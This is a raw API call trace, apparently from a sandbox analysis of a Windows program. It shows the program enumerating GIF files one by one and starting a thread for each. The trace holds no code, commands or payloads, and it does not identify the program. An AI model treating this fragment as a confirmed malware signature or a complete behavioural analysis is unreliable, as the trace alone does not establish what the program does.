	[0191.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfac
	[0191.047] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.048] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6b4200, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6b4200, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x2e73, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00057_.GIF", cAlternateFileName="")) returned 1
	[0191.048] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb0
	[0191.208] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.209] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29618e00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x29618e00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x205, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00090_.GIF", cAlternateFileName="")) returned 1
	[0191.209] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.209] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb4
	[0191.211] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.211] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26ff3400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x26ff3400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x1f6, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00092_.GIF", cAlternateFileName="")) returned 1
	[0191.211] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.212] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfb8
	[0191.214] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.215] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ef57700, ftCreationTime.dwHighDateTime=0x1bd4f8b, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4ef57700, ftLastWriteTime.dwHighDateTime=0x1bd4f8b, nFileSizeHigh=0x0, nFileSizeLow=0x319e, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00103_.GIF", cAlternateFileName="")) returned 1
	[0191.215] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.215] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfbc
	[0191.216] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.217] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf316a100, ftCreationTime.dwHighDateTime=0x1bd4bcc, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf316a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcc, nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1
	[0191.217] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc0
	[0191.219] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.220] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33bee00, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x33bee00, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1
	[0191.220] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc4
	[0191.222] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.223] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd99400, ftCreationTime.dwHighDateTime=0x1bd50af, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd99400, ftLastWriteTime.dwHighDateTime=0x1bd50af, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1
	[0191.223] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.224] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc8
	[0191.226] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.226] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffa86700, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffa86700, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1
	[0191.226] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.227] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfcc
	[0191.229] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.229] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b28600, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b28600, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1
	[0191.229] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.230] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd0
	[0191.232] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.233] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3bca500, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3bca500, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1
	[0191.233] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.233] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd4
	[0191.236] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.237] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedc6c400, ftCreationTime.dwHighDateTime=0x1bd50ae, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedc6c400, ftLastWriteTime.dwHighDateTime=0x1bd50ae, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1
	[0191.237] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.237] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfd8
	[0191.240] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.241] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9688900, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9688900, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1
	[0191.241] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.241] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfdc
	[0191.415] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.416] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2417b00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2417b00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1
	[0191.416] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.416] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe0
	[0191.418] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.419] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad7cc700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad7cc700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1
	[0191.419] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.419] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe4
	[0191.422] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.423] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a69f700, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a69f700, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1
	[0191.423] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe8
	[0191.425] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.426] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95a54300, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95a54300, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1
	[0191.426] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.427] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfec
	[0191.429] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.429] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65e47e00, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65e47e00, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1
	[0191.430] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.430] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff0
	[0191.432] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.433] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d4d0800, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d4d0800, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1
	[0191.433] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff4
	[0191.437] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.437] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89b98100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x89b98100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1
	[0191.437] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.438] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff8
	[0191.440] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.441] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81614600, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81614600, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1
	[0191.441] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xffc
	[0191.473] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.474] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c9c9200, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c9c9200, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1
	[0191.474] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1004
	[0191.477] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.477] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76a6b100, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x76a6b100, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1
	[0191.477] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1008
	[0191.689] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.690] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71e1fd00, ftCreationTime.dwHighDateTime=0x1bd4c12, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x71e1fd00, ftLastWriteTime.dwHighDateTime=0x1bd4c12, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1
	[0191.690] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100c
	[0191.694] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.695] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a04e500, ftCreationTime.dwHighDateTime=0x1bd4e61, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2a04e500, ftLastWriteTime.dwHighDateTime=0x1bd4e61, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1
	[0191.695] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.695] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1010
	[0191.698] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.698] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xde4d3e00, ftCreationTime.dwHighDateTime=0x1bd4e56, ftLastAccessTime.dwLowDateTime=0x51317770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xde4d3e00, ftLastWriteTime.dwHighDateTime=0x1bd4e56, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1
	[0191.698] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1014
	[0191.702] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.702] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc18a400, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc18a400, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1
	[0191.702] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0191.703] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1018
	[0191.704] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0191.705] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e3cb900, ftCreationTime.dwHighDateTime=0x1bd4e52, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6e3cb900, ftLastWriteTime.dwHighDateTime=0x1bd4e52, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x72, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1
